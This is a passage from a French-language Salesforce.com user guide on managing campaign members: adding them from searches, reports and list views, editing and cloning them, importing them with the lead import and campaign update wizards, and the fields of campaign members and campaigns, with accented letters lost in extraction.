pouvoir ajouter des contacts une campagne, la case Ajouter la campagne doit tre active. Si une campagne possde
un type de membre de campagne, vous devez avoir accs ce type de membre de campagne pour pouvoir lui ajouter des
membres. Sinon, vous pouvez uniquement mettre jour les membres de campagne existants.
Remarque: Avant d'ouvrir la page Grer les membres, assurez-vous d'utiliser un navigateur pris en charge.

Pour ajouter les membres d'une campagne partir de la page Grer les membres :
1. Cliquez sur Grer les membres et slectionnez Ajouter des membres - Rechercher dans la liste droulante de la page de
dtails d'une campagne ou dans la liste associe Membres de campagne.

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Guide de l'utilisateur | Gestion des membres d'une campagne | 1173

2. Dans le sous-onglet Ajouter des membres, slectionnez le bouton radio Pistes ou Contacts pour ajouter respectivement
des pistes ou des contacts.
3. Recherchez des pistes ou des contacts :

Vous pouvez spcifier des filtres de recherche puis cliquer sur OK

Vous pouvez galement slectionner une vue existante, par exemple toutes les pistes ouvertes, dans la liste droulante
Utiliser la vue existante. Vos rsultats sont automatiquement affichs. Si vous slectionnez une vue existante, vous
pouvez modifier ses critres en ajoutant ou en modifiant des filtres, puis cliquez sur OK.
Remarque: Vous ne pouvez pas modifier les critres de filtre si vous avez slectionn une vue qui utilise des
options avances ou plus de cinq filtres. Les critres de filtre sont reflts dans les rsultats de recherche de ces
vues, mme si tous les critres de filtre ne sont pas affichs.

4. Cochez les cases en regard des enregistrements que vous souhaitez ajouter. Pour slectionner tous les enregistrements de
la page actuelle, cochez la case de la ligne d'en-tte.
5. Slectionnez un statut dans la liste droulante Ajouter avec statut.
Un message de confirmation s'affiche et les membres que vous avez ajouts figurent dans le sous-onglet Membres existants.
Tenez compte des conseils suivants en utilisant la liste de membres :

Pour masquer les filtres de recherche, cliquez sur Masquer la recherche dans le coin gauche au-dessus des options de
recherche du sous-onglet Ajouter des membres ou cliquez sur Masquer les filtres dans le coin gauche au-dessus des filtres
du sous-onglet Membres existants.
Pour effacer les filtres de recherche, cliquez sur Effacer les filtres sous les filtres.
Naviguez dans les rsultats de la liste en cliquant sur l'icne de la premire page (<<), sur Prcdent, sur Suivant ou sur
l'icne de la dernire page (>>) en bas de la liste.
Passez directement une page spcifique de rsultats en saisissant son numro dans la zone de texte, dans le coin infrieur
droit, puis en appuyant sur Entre.
Modifiez le nombre d'enregistrements affichs par page en cliquant sur l'indicateur de dcompte d'enregistrements dans
le coin infrieur gauche de la liste et en slectionnant un nombre. Vous pouvez consulter 10, 25, 50, 100 ou 200
enregistrements la fois. Si vous modifiez ce paramtre, vous revenez la premire page des rsultats de la liste. La
modification de vos prfrences concernant le nombre d'enregistrements affichs par page s'applique toutes les listes de
l'ensemble des sous-applications Salesforce.com, pas uniquement la liste actuellement affiche. De plus, si vous modifiez
vos prfrences avec la valeur 200, un message vous avertit d'une dgradation probable des performances.
Modifiez la largeur d'une colonne en faisant glisser la partie droite de l'en-tte de colonne avec la souris. Les modifications
apportes aux largeurs de colonne s'appliquent uniquement cette liste et ne sont pas conserves si vous modifiez les
membres de la liste ou si vous passez une autre page.
Cliquez sur le lien Modifier les colonnes dans le coin suprieur droit de la liste pour ajouter ou supprimer des colonnes.
Les ajouts ou suppressions de colonnes s'appliquent uniquement cette liste et ne sont pas conservs si vous modifiez les
membres de la liste ou si vous passez une autre page.
Remarque: Si vous ne pouvez pas ajouter des contacts, activez la case Ajouter la campagne :
1.
2.
3.
4.

Cliquez sur Configuration Personnalisation Contacts Prsentations de recherche.

Cliquez sur Modifier en regard de la vue de liste de contacts.
Slectionnez Ajouter la campagne.
Cliquez sur Enregistrer.

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Guide de l'utilisateur | Gestion des membres d'une campagne | 1174

La toute dernire page Grer les membres n'est pas disponible en mode d'accessibilit. En mode d'accessibilit, vous pouvez
continuer d'ajouter des contacts ou des pistes une campagne, de mettre jour des membres de campagne et de supprimer
des membres de campagne l'aide des assistants de membres de campagne.

Voir aussi :
Utilisation de la liste associe membres de campagne
Modification de plusieurs membres de campagne
Saisie des critres de filtre

Campagnes

Guide de l'utilisateur | Gestion des membres d'une campagne | 1175

Ajout de membres de campagne de rapports

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour ajouter des membres de campagne d'un rapport de
contact :

Option Utilisateur Marketing active dans vos

informations d'utilisateur
AND
Autorisation de modification sur les campagnes
AND
Autorisation de lecture sur les contacts
AND
Lire sur les rapports

Pour ajouter des membres de campagne d'un rapport de piste : Option Utilisateur Marketing active dans vos
informations d'utilisateur
AND
Autorisation de modification sur les campagnes
AND
Autorisation de lecture sur les pistes
AND
Lire sur les rapports
Pour ajouter des membres de campagne d'un rapport de
compte personnel :

Option Utilisateur Marketing active dans vos

informations d'utilisateur
AND
Autorisation de modification sur les campagnes
AND
Autorisation de lecture sur les contacts
AND
Lire sur les rapports

Pour ajouter une campagne jusqu' 50 000 contacts, pistes ou comptes personnels issus d'un rapport :
Pour ajouter une campagne des pistes, des contacts ou des comptes personnels issus d'un rapport :

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Guide de l'utilisateur | Gestion des membres d'une campagne | 1176

1. Cliquez sur Ajouter la campagne partir d'un rapport de campagne, de contact, de piste ou de compte personnel renvoyant
des enregistrements de piste, de contact ou de compte personnel.
Conseil: Vous devez disposer d'un accs partag pour afficher la piste ou le contact que vous ajoutez.

Si votre rapport renvoie plus de 50 000 enregistrements, le bouton est dsactiv. Vous pouvez modifier le rapport afin qu'il
renvoie moins d'enregistrements.
2. Utilisez l'icne de recherche pour choisir la campagne laquelle les rsultats du rapport seront ajouts.
3. Slectionnez le statut de membre des contacts, des pistes ou des comptes personnels que vous ajoutez la campagne.
4. Dfinissez si les statuts des membres de la campagne doivent tre remplacs.
Si vous dcidez de remplacer les statuts des membres de campagne existants, ceux-ci sont mis jour en fonction de la valeur
slectionne l'tape prcdente.
5. Cliquez sur Ajouter la campagne.
6. Passez en revue le contenu de l'cran de confirmation.
7. Cliquez sur Termin pour revenir au rapport.
Suivez les conseils supplmentaires ci-dessous en ajoutant des membres de campagne depuis un rapport :

Les membres de campagne sont ajouts par lots. Si le processus est interrompu, par exemple en cliquant sur Annuler,
certains membres continuent d'tre ajouts.
Si des enregistrements de pistes ou de contacts sont modifis aprs avoir cliqu sur Ajouter la campagne mais avant leur
ajout effectif, ils ne sont pas ajouts la campagne.
Vous ne pouvez pas ajouter de pistes converties aux campagnes. Si vous incluez des pistes converties au rapport, celles-ci
sont ignores lors du processus d'ajout la campagne.
Si une campagne possde un type de membre de campagne, vous devez avoir accs ce type de membre de campagne pour
pouvoir lui ajouter des membres. Sinon, vous pouvez uniquement mettre jour les membres de campagne existants.

Voir aussi :
Gestion des membres d'une campagne
Qu'est-ce qu'un compte personnel ?

Campagnes

Guide de l'utilisateur | Gestion des membres d'une campagne | 1177

Ajout de contacts ou de pistes d'une vue de liste une campagne

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour ajouter plusieurs contacts existants une campagne :

Option Utilisateur Marketing active dans vos

informations d'utilisateur
AND
Autorisation de modification sur les campagnes
AND
Modifier dans les contacts

Pour ajouter plusieurs pistes existantes une campagne :

Option Utilisateur Marketing active dans vos

informations d'utilisateur
AND
Autorisation de modification sur les campagnes
AND
Autorisation de modification sur les pistes

Pour ajouter plusieurs comptes personnels une campagne : Option Utilisateur Marketing active dans vos
informations d'utilisateur
AND
Autorisation de modification sur les campagnes
AND
Modifier dans les contacts

Remarque: Si votre administrateur a activ les listes avances, vous pouvez utiliser les outils supplmentaires pour
personnaliser, accder , grer et modifier des donnes de liste.
Pour ajouter une campagne des contacts, des pistes ou des comptes personnels existants partir d'une vue de liste :
1. Accdez une vue de liste de contacts ou de pistes, telle que Mes contacts. Notez que vous pouvez crer des vues de liste
personnalises qui limitent les rsultats selon le nom de la campagne et, ventuellement, selon le statut de membre de
campagne (reportez-vous Cration de vues Listes personnalises la page 1538).
Conseil: Vous devez disposer d'un accs partag pour afficher la piste ou le contact que vous ajoutez.

Campagnes

Guide de l'utilisateur | Gestion des membres d'une campagne | 1178

2. Cochez les cases situes en regard des enregistrements slectionner. Vous pouvez galement cocher la case situe en regard
de l'en-tte de colonne afin de slectionner tous les lments actuellement affichs. Notez que jusqu' 250 enregistrements
peuvent tre affichs simultanment sur la page.
3. Cliquez sur Ajouter la campagne. Si une campagne possde un type de membre de campagne, vous devez avoir accs
ce type de membre de campagne pour pouvoir lui ajouter des membres. Sinon, vous pouvez uniquement mettre jour les
membres de campagne existants.
4. Dans la premire tape de l'assistant, entrez le nom de la campagne mettre jour ou cliquez sur l'icne de recherche pour
rechercher et slectionner une campagne existante.
5. Dfinissez si les statuts des membres de la campagne doivent tre remplacs.
Si vous dcidez de remplacer les statuts des membres de campagne existants, ceux-ci sont mis jour en fonction de la valeur
slectionne l'tape prcdente.
6. Cliquez sur Ajouter la campagne.
7. Dans la deuxime tape de l'assistant, passez en revue les messages de confirmation relatifs aux membres slectionns. Si
un membre se trouve dj dans la campagne, sa valeur de statut de membre est mise jour.
8. Cliquez sur Termin pour quitter l'assistant et revenir la vue de liste.

Voir aussi :
Gestion des membres d'une campagne
Cration de vues Listes personnalises
Qu'est-ce qu'un compte personnel ?
Personnalisation des paramtres de l'interface utilisateur
Utilisation des listes avances
Utilisation de la modification en ligne dans des listes

Campagnes

Guide de l'utilisateur | Gestion des membres d'une campagne | 1179

Affichage et modification d'un membre de campagne

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour afficher, modifier et supprimer des membres de
campagne :

Lire les campagnes

ET
Lire les pistes
ET
Lire les contacts

Pour ajouter des membres de campagne :

Lire les campagnes

ET
Lire les pistes
ET
Modifier les contacts

Dans la page de dtails des membres de campagne, vous pouvez modifier, supprimer ou cloner un enregistrement de membre
de campagne. En outre, si le membre de campagne est bas sur une piste, vous pouvez convertir la piste, et s'il est bas sur un
contact, vous pouvez crer une opportunit.
Pour afficher la page de dtails de membre de campagne, cliquez sur ses colonnes Nom complet, Prnom ou Nom dans la liste
associe Membres de campagne dans une page de dtails de campagne ou sur l'onglet Membres existants. Pour afficher un
membre de campagne, vous devez disposer d'autorisations sur la campagne et la piste ou le contact. Par exemple, pour afficher
un membre de campagne cr partir d'une piste, vous devez pouvoir afficher la campagne et la piste.
Pour modifier une prsentation de page de dtails d'un membre de campagne, cliquez sur le lien Modifier la prsentation ou
sur Configuration Personnalisation Campagnes Membre de campagne Prsentations de page.
Modification d'un membre de campagne
Pour modifier un membre de campagne, cliquez sur Modifier dans la page de dtails du membre de campagne, modifiez
les champs que vous souhaitez mettre jour, puis cliquez sur Enregistrer. Les champs drivs du contact ou de la piste
peuvent tre modifis uniquement partir des pages de dtails du contact ou de la piste.
Remarque: Si votre administrateur a activ la modification en ligne pour votre organisation, vous ne pouvez pas
utiliser la modification en ligne dans la liste droulante Statut de la page de dtails du membre de campagne.
la place, cliquez sur Modifier dans la page de dtails de la campagne pour modifier la liste droulante Statut.

Campagnes

Guide de l'utilisateur | Gestion des membres d'une campagne | 1180

Clonage d'un membre de campagne

Pour cloner un membre de campagne, cliquez sur Cloner dans la page de dtails du membre de campagne, puis slectionnez
une campagne et un contact ou une piste. Modifiez les champs que vous souhaitez cloner pour le nouveau membre de
campagne, puis cliquez sur Enregistrer.
Suppression d'un membre de campagne
Pour supprimer un membre de campagne, cliquez sur Supprimer dans sa page de dtails.
Remarque: La suppression d'un enregistrement de membre de campagne est dfinitive, il ne peut pas tre
rcupr partir de la Corbeille. Cependant, l'enregistrement d'origine de la liste ou du contact n'est pas supprim.

Conversion d'une piste

Si le membre de campagne a t cr partir d'une piste, vous pouvez cliquer sur Convertir la piste dans la page de
dtails du membre de campagne pour procder la conversion. Une fois la piste convertie, le membre de campagne fait
toujours partie de la campagne, mais son type passe de piste contact.
Cration d'une opportunit
Si le membre de campagne a t cr partir d'un contact, vous pouvez cliquer sur Crer une opportunit dans la page
de dtails du membre de campagne pour procder la cration. Une fois l'opportunit cre, le membre de campagne
fait toujours partie de la campagne.

Voir aussi :
Ajout, modification ou clonage de membres de campagne individuels
Champs de membre de campagne
Personnalisation des prsentations de page
Gestion des rgles de workflow
Gestion des dclencheurs Apex
Rapports de campagne

Champs de membre de campagne

Les champs disponibles varient en fonction de l'dition Salesforce.com dont vous disposez.

Ce sont les champs (par ordre alphabtique) qui forment un membre de campagne. La plupart des champs de membre de
campagne sont drivs de l'enregistrement de la piste ou du contact partir duquel le membre de campagne a t cr et ils
doivent tre modifis partir de l'enregistrement correspondant. Certains de ces champs peuvent ne pas tre visibles ou
modifiables selon la prsentation de votre page et les paramtres de scurit dfinis au niveau des champs. (La scurit au
niveau du champ est disponible dans Enterprise Edition, Unlimited Edition et Developer Edition uniquement).
Champ

Description

Campagne

Campagne laquelle la piste ou le contact appartient.

Campagnes

Guide de l'utilisateur | Gestion des membres d'une campagne | 1181

Champ

Description

Devise du membre de la
campagne

Devise par dfaut pour les champs de montants en devise dans le membre de la campagne.
Les montants s'affichent dans la devise du membre de la campagne et sont galement
convertis dans la devise personnelle de l'utilisateur. Disponible uniquement pour les
entreprises qui utilisent plusieurs devises.

Type de membre de la
campagne

Type d'enregistrement du membre de la campagne, qui dtermine la prsentation de page

disponible pour le membre de la campagne. (lecture seule).

Ville

Ville dans l'adresse de la piste ou du contact

Socit (compte)

Socit, si le membre de campagne est bas sur une piste, ou compte, si le membre de
campagne est bas sur un contact.

Contact

Nom du contact, si le membre de campagne est bas sur un contact.

Pays

Pays dans l'adresse de la piste ou du contact

Cr par

Utilisateur qui a cr le membre de campagne (lecture seule).

Date de cration

Date de cration du membre de campagne (lecture seule).

Description

Description de la piste ou du contact.

Ne pas appeler

Indique si la personne ne souhaite pas tre contacte par tlphone.

E-mail

Adresse e-mail de la piste ou du contact.

Dsinscription d'adresse L'adresse e-mail de la personne n'est pas incluse dans les e-mails en masse.
e-mail
Tlcopie

Numro de fax de la piste ou du contact.

Dsinscription de
tlcopie

Indique si la personne a demand de ne pas tre incluse dans la diffusion de tlcopies.

Prnom

Prnom de la piste ou du contact.

Date de la premire
rponse

Date laquelle le membre de campagne a rpondu pour la premire fois (lecture seule).

Dernire modification par Utilisateur qui a modifi en dernier l'enregistrement du membre de campagne (lecture

seule).
Date de la dernire
modification

Date laquelle l'enregistrement du membre de campagne a t modifi pour la dernire

fois (lecture seule).

Nom

Nom de la piste ou du contact.

Piste

Nom de la piste, si le membre de campagne est bas sur une piste.

Origine de la piste

Source de la piste, par exemple Publicit, Partenaire ou Web. L'entre est slectionne
dans une liste de slection comprenant les valeurs disponibles, dfinies par un
administrateur. Chaque valeur de liste de slection peut contenir jusqu' 40 caractres.

Mobile

Numro de tlphone mobile de la piste ou du contact.

Tlphone

Numro de tlphone de la piste ou du contact.

Campagnes

Guide de l'utilisateur | Gestion des membres d'une campagne | 1182

Champ

Description

Rpondu

Indique si le membre de campagne a rpondu.

Civilit

Civilit qui prcde le nom de la personne, par exemple M., Mme, Dr. ou Pr.

Dpartement/Rgion

tat ou Province dans l'adresse de la piste ou du contact.

Statut

Statut du membre de campagne, par exemple envoy ou rpondu.

Rue

Rue dans l'adresse de la piste ou du contact.

Titre

Titre de la piste ou du contact, par exemple Prsident.

Code postal

Code postal dans l'adresse de la piste ou du contact.

Voir aussi :
Ajout de plusieurs membres d'une campagne
Affichage et modification d'un membre de campagne
Gestion des rgles de validation
Gestion des dclencheurs Apex

Campagnes

Guide de l'utilisateur | Ajout, modification ou clonage de membres de campagne individuels | 1183

Ajout, modification ou clonage de membres de campagne

individuels
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour ajouter ou cloner un membre de campagne :

Autorisation de lecture sur les campagnes

AND
Modifier dans les pistes et les contacts

Pour modifier un membre de campagne d'une piste ou d'un

contact :

Lire dans les campagnes

ET
Lire ou Modifier dans les pistes ou les contacts

Pour modifier des membres de campagne d'un compte

personnel :

Lire dans les campagnes

ET
Lire ou Modifier dans les comptes ou les contacts

Pour les campagnes dclenchant une rponse individuelle, par exemple lors d'une conversation tlphonique avec un commercial,
vous pouvez relier manuellement une piste, un contact ou un compte personnel une campagne et mettre jour le statut de
cette campagne spcifique. N'importe quel utilisateur peut effectuer cette opration depuis la liste Historique de la campagne
associe un contact, une piste ou un compte personnel.
Vous pouvez galement ajouter plusieurs membres de campagne et modifier plusieurs membres de campagne.
Remarque: Si une campagne possde un type de membre de campagne, vous devez avoir accs ce type de membre
de campagne pour pouvoir lui ajouter des membres. Sinon, vous pouvez uniquement mettre jour les membres de
campagne existants.
Ajout de membres d'une campagne individuels
Pour ajouter un membre de campagne :
1. Cliquez sur Ajouter la campagne dans la liste associe Historique de la campagne de la page de dtails du contact, de la
piste ou du compte personnel que vous souhaitez ajouter la campagne.
2. Spcifiez la campagne.
3. Spcifiez le statut du membre de la campagne.
4. Saisissez ou modifiez les informations supplmentaires.
Les champs drivs de l'enregistrement de la piste ou du contact peuvent tre modifis uniquement dans la page de dtails
de la piste ou du contact. Le champ Type de membre de campagne peut tre modifi uniquement dans la page de
dtails de la campagne.

Campagnes

Guide de l'utilisateur | Ajout, modification ou clonage de membres de campagne individuels | 1184

5. Cliquez sur Enregistrer.

Modification de membres de campagne individuels
Pour modifier un membre de campagne :
1. Recherchez un membre de campagne individuel :

Cliquez sur Modifier en regard du nom de la campagne dans la liste associe Historique de la campagne de la page de
dtails d'un contact, d'une piste ou d'un compte personnel.
Cliquez sur Modifier en regard du nom du membre de la campagne dans la liste associe Membres de la campagne de
la page de dtails d'une campagne.

2. Saisissez ou modifiez les informations supplmentaires.

Les champs drivs de l'enregistrement de la piste ou du contact peuvent tre modifis uniquement dans la page de dtails
de la piste ou du contact. Le champ Type de membre de campagne peut tre modifi uniquement dans la page de
dtails de la campagne.
3. Cliquez sur Enregistrer.
Clonage de membres de campagne individuels
Pour cloner un membre de campagne :
1. Cliquez sur le nom d'un membre de campagne dans les colonnes Nom complet, Prnom ou Nom de la liste associe
Membres de la campagne de la page de dtails d'une campagne.
2. Cliquez sur Cloner.
3. Spcifiez une campagne.
Remarque: Si vous utilisez des types d'enregistrement, le type de membre de la campagne doit tre identique
celui de l'enregistrement clon. Par exemple, si vous clonez un membre de campagne dont le type de membre de
campagne est E-mail , slectionnez une campagne dont le type de membre de campagne est aussi E-mail .
4. Spcifiez une piste ou un contact, pas les deux.
5. Saisissez ou modifiez les informations supplmentaires.
Les champs drivs de l'enregistrement de la piste ou du contact peuvent tre modifis uniquement dans la page de dtails
de la piste ou du contact. Le champ Type de membre de campagne peut tre modifi uniquement dans la page de
dtails de la campagne.
6. Cliquez sur Enregistrer.
Remarque: Si vous avez accs en lecture seule un champ, la valeur de ce champ n'est pas transmise l'enregistrement
clon.

Voir aussi :
Gestion des membres d'une campagne
Qu'est-ce qu'un compte personnel ?

Campagnes

Guide de l'utilisateur | Importation de membres de campagne | 1185

Importation de membres de campagne

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour modifier des campagnes :

Autorisation de modification sur les campagnes

AND
Option Utilisateur Marketing active dans vos
informations d'utilisateur

Pour importer des pistes en tant que membres de campagne : Autorisation de modification sur les campagnes
AND
Option Utilisateur Marketing active dans vos
informations d'utilisateur
AND
Importation de pistes
Pour utiliser l'assistant de mise jour de campagne :

Autorisation de modification sur les campagnes

AND
Option Utilisateur Marketing active dans vos
informations d'utilisateur
AND
Importation de pistes
AND
Autorisation de lecture sur les contacts

Grce aux deux assistants d'importation de campagne, les utilisateurs dsigns comme utilisateurs marketing utilisent des
fichiers CSV (dlimits par des virgules) pour importer de nouvelles pistes et suivre les rponses des pistes et des contacts
chaque tape d'une campagne.
Remarque: Si la virgule ne convient pas vos paramtre rgionaux, utilisez une tabulation ou un autre sparateur.

Pour utiliser l'un des assistants d'importation, cliquez sur la liste droulante du bouton Grer les membres dans la page de
dtails d'une campagne, puis slectionnez l'une des options suivantes :

Campagnes

Guide de l'utilisateur | Importation de membres de campagne | 1186

Ajouter des membres - Importer un fichier, puis cliquez sur Importer des pistes : L'Assistant Importation de piste la
page 1186 permet d'importer une liste de nouveaux noms. Salesforce.com cre des pistes dans le systme et les associe votre
campagne afin de crer des membres de campagne.
Mettre jour et ajouter des membres - Importez un fichier, puis cliquez sur Mettre jour et ajouter des membres de
campagne : L'Assistant Mise jour de la campagne la page 1188 permet d'importer une liste de contacts et de pistes
Salesforce.com existants. Salesforce.com associe les enregistrements vos enregistrements de membres de campagne
existants, puis met jour leur historique des rponses. En outre, les nouvelles pistes ou contacts ajouts l'aide de l'assistant
Mise jour de la campagne sont ajouts la campagne en tant que membres.
Remarque: Si une campagne possde un type de membre de campagne, vous devez avoir accs ce type de membre
de campagne pour pouvoir lui ajouter des membres. Sinon, vous pouvez uniquement mettre jour les membres de
campagne existants.

Voir aussi :
Gestion des membres d'une campagne
Ajout, modification ou clonage de membres de campagne individuels
Prsentation de l'importation

Assistant Importation de piste

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour importer des pistes l'aide de l'assistant d'importation
de campagne :

Autorisation de modification sur les campagnes

AND
Option Utilisateur Marketing active dans vos
informations d'utilisateur
AND
Importation de pistes

l'aide de l'assistant Importation de piste, vous pouvez importer une liste comprenant jusqu' 50 000 pistes nouvelles et les
associer une campagne. Utilisez cet assistant pour les campagnes gnrant de nouvelles pistes.
Conseils d'utilisation de l'assistant Importation de piste

Activez la mise jour Nouveau comportement de cration d'un membre de campagne pour :
-

Mapper les champs personnaliss de membre de campagne pour importer des champs de fichiers
Dclencher des rgles de workflow pour les membres de campagne crs ou mis jour l'aide de l'assistant
Activer des rgles de validation pour les membres de campagne imports

Campagnes

Guide de l'utilisateur | Importation de membres de campagne | 1187

Si les noms dans votre fichier d'importation correspondent des pistes existantes, des pistes dupliques sont cres.
Si des noms dupliqus existent dans le fichier d'importation, des pistes dupliques sont cres.
Si une campagne possde un type de membre de campagne, vous devez avoir accs ce type de membre de campagne pour
pouvoir lui ajouter des membres. Sinon, vous pouvez uniquement mettre jour les membres de campagne existants.

1. Prparez votre liste de noms selon les indications dcrites dans Mappage des champs pour l'importation des pistes la page
285.
2. Cliquez sur le bouton droulant Grer les membres et slectionnez Ajouter des membres - Importer un fichier dans la
page de dtails de la campagne que vous souhaitez mettre jour.
3. Cliquez sur Importer des pistes.
4. Cliquez sur Parcourir, puis slectionnez votre fichier d'importation.
5. Slectionnez une source de piste.
6. Slectionnez une rgle d'attribution de pistes.
7. Vous pouvez galement utilisez des paramtres de rgle d'attribution pour notifier les nouveaux responsables
d'enregistrements.
8. Slectionnez le statut de membre par dfaut pour les pistes dont le statut est vide ou non valide.
9. Slectionnez ensuite le codage de caractres du fichier d'importation. Le paramtrage par dfaut convient la plupart des
utilisateurs.
10. Vous pouvez galement dclencher des rgles de workflow pour les enregistrements nouveaux et mis jour.
11. Vous pouvez galement dclencher des rgles de workflow pour les nouveaux membres de campagne. Cette option est
disponible uniquement si vous activez le Nouveau comportement de cration d'un membre de campagne.
12. Cliquez sur Suivant.
13. Mappez les champs Salesforce.com avec les champs de votre fichier d'importation, puis cliquez sur Suivant.
14. Mappez les champs personnaliss de membres de campagne Salesforce.com avec les champs de votre fichier d'importation,
puis cliquez sur Suivant. Cette option est disponible uniquement avec des champs personnaliss de membre de campagne
et si vous activez le Nouveau comportement de cration d'un membre de campagn.
15. Cliquez sur Importer maintenant.
Pour vous assurer que ces pistes ont t importes avec un statut de membre correct, affichez la liste associe Historique de la
campagne des pistes. Reportez-vous Ajout, modification ou clonage de membres de campagne individuels la page 1183.

Voir aussi :
Importation de membres de campagne
Prsentation de l'importation
Gestion des membres d'une campagne

Campagnes

Guide de l'utilisateur | Importation de membres de campagne | 1188

Assistant de mise jour de campagne

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour utiliser l'assistant de mise jour de campagne :

Autorisation de modification sur les campagnes

AND
Importation de pistes
AND
Autorisation de lecture sur les contacts
Option Utilisateur Marketing active dans vos
informations d'utilisateur

L'assistant Mise jour de la campagne permet d'importer une liste pouvant contenir jusqu' 50 000 contacts et pistes existants
pour mettre jour le statut des membres de la campagne. Utilisez cet assistant pour les campagnes ciblant des pistes ou des
contacts existants.
Conseils d'utilisation de l'assistant de mise jour de campagne

Activez la mise jour Nouveau comportement de cration d'un membre de campagne pour :
-

Mapper les champs personnaliss de membre de campagne pour importer des champs de fichiers
Dclencher des rgles de workflow pour les membres de campagne crs ou mis jour l'aide de l'assistant
Activer des rgles de validation pour les membres de campagne imports

Les membres de la campagne bass sur des contacts crs partir de pistes converties ne sont pas mis jour.
Si le fichier d'importation inclut des pistes ou des contacts qui ne sont pas des membres de la campagne, ils sont ajouts
en tant que membres de la campagne.
L'assistant de mise jour de campagne modifie seulement les enregistrements auxquels vous avez un accs partag.
Si une campagne possde un type de membre de campagne, vous devez avoir accs ce type de membre de campagne pour
pouvoir lui ajouter des membres. Sinon, vous pouvez uniquement mettre jour les membres de campagne existants.

Utilisation de l'assistant de mise jour de campagne

1. Excutez un rapport sur les contacts ou sur les pistes dans Salesforce.com, incluez le champ ID de contact ou ID de
piste, puis exportez-le vers Excel.
Si vous ciblez la fois des pistes et des contacts, fusionnez les rapports sur les pistes et les contacts dans un fichier CSV
(valeurs spares par des virgules) dans Excel. Assurez-vous que les valeurs des champs ID de piste et ID de contact
sont situes dans la mme colonne Excel.
Remarque: Si la virgule ne convient pas vos paramtre rgionaux, utilisez une tabulation ou un autre sparateur.

Campagnes

Guide de l'utilisateur | Champs de campagne | 1189

2. Renommez la colonne ID de piste/ID de contact en ID d'enregistrement.

3. Vous pouvez galement ajouter une colonne intitule Statut, puis saisir le statut de membre de chaque enregistrement
Les enregistrements avec des statuts vides ou non valides sont attribus au statut de membre par dfaut que vous slectionnez
dans l'assistant.
4. Cliquez sur la liste droulante Grer les membres et slectionnez Mettre jour et ajouter des membres - Importer un
fichier dans la page de dtails de la campagne que vous souhaitez mettre jour.
5. Cliquez sur Mettre jour et ajouter des membres de la campagne.
6. Cliquez sur Parcourir, puis slectionnez votre fichier d'importation.
7. Slectionnez le statut de membre par dfaut des contacts ou des pistes dont le statut est vide ou non valide.
8. Slectionnez ensuite le codage de caractres du fichier d'importation. Le paramtrage par dfaut convient la plupart des
utilisateurs.
9. Vous pouvez galement dclencher des rgles de workflow pour les enregistrements nouveaux et mis jour. Cette option
est disponible uniquement si vous activez le Nouveau comportement de cration d'un membre de campagne.
10. Cliquez sur Suivant.
11. Mappez les champs Salesforce.com avec les champs de votre fichier d'importation, puis cliquez sur Suivant. Le mappage
de champs personnaliss de membres de la campagne est disponible si vous disposez de champs personnaliss de membre
de la campagne et que vous activez le Nouveau comportement de cration d'un membre de campagne.
12. Cliquez sur Importer maintenant.

Champs de campagne
Disponible dans : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire avec : Professional Edition

Une campagne contient les champs suivants, par ordre alphabtique. Selon votre prsentation de page et vos paramtres de
scurit au niveau du champ, certains champs peuvent tre visibles ou modifiables. (La scurit au niveau du champ est
disponible dans Enterprise Edition, Unlimited Edition et Developer Edition uniquement).
Champ

Description

Actif

Case cocher permettant d'indiquer si la campagne est active

ou non. Vous ne pouvez choisir que des campagnes actives
dans la liste Historique de campagne et d'autres listes de
slection de la campagne.

Cot rel

Montant dpens pour diriger la campagne.

Cot budgtis

Montant budgtis pour la campagne.

Devise de la campagne

Devise par dfaut pour les champs de montants en devise dans

la campagne. Les montants s'affichent dans la devise de la
campagne et sont galement convertis dans la devise
personnelle de l'utilisateur. Disponible uniquement pour les
entreprises qui utilisent plusieurs devises.

Type de membre de la campagne

Type d'enregistrement pour les membres de campagne ;

dtermine la prsentation de page des membres de campagne.

Campagnes

Champ

Guide de l'utilisateur | Champs de campagne | 1190

Description
Disponible dans Enterprise Edition, Unlimited Edition et
Developer Edition.

Nom de la campagne

Nom d'identification de la campagne.

Propritaire de la campagne

Propritaire assign de la campagne.

Type d'enregistrement de campagne

Type d'enregistrement pour la campagne ; dtermine les valeurs

de liste de slection pour la campagne. Disponible dans
Enterprise Edition, Unlimited Edition et Developer Edition.

Pistes converties

Nombre de pistes ayant t converties en comptes en raison

des efforts de marketing dploys dans la campagne.
Salesforce.com calcule automatiquement ce montant en
utilisant tous les enregistrements associs, que vous y ayez
accs ou non. Pour plus d'informations sur la conversion des
pistes, reportez-vous Conversion des pistes la page 1532. Ce
champ ne peut pas tre rfrenc dans des formules pour les
rgles de workflow, les rgles de validation, les mises jour de
champs ou les processus d'approbation, mais il peut tre
rfrenc dans des champs de formule personnaliss. Les mises
jour de ce champ ne dclenchent pas de rgles de workflow.

Cr par

Utilisateur qui a cr la campagne, y compris la date et l'heure

de cration. (Lecture seule).

Liens personnaliss

Liste des liens personnaliss pour les campagnes, tels qu'ils

ont t dfinis par votre administrateur.

Description

Une description de la campagne. Le volume maximal de

donnes autoris dans ce champ est de 32 Ko. Seuls les
255 premiers caractres apparaissent dans les rapports.

Date de fin

Date de fin de la campagne. Les rponses reues aprs cette

date sont encore comptabilises.

Rponses attendues (%)

Pourcentage de rponses que vous vous attendez recevoir

pour la campagne.

Chiffre d'affaires attendu

Montant des bnfices que vous pensez gnrer grce la

campagne.

Dernire modification par

Utilisateur ayant modifi pour la dernire fois les champs de

la campagne, y compris la date et l'heure de modification. Cela
ne tient pas compte des changements apports aux lments
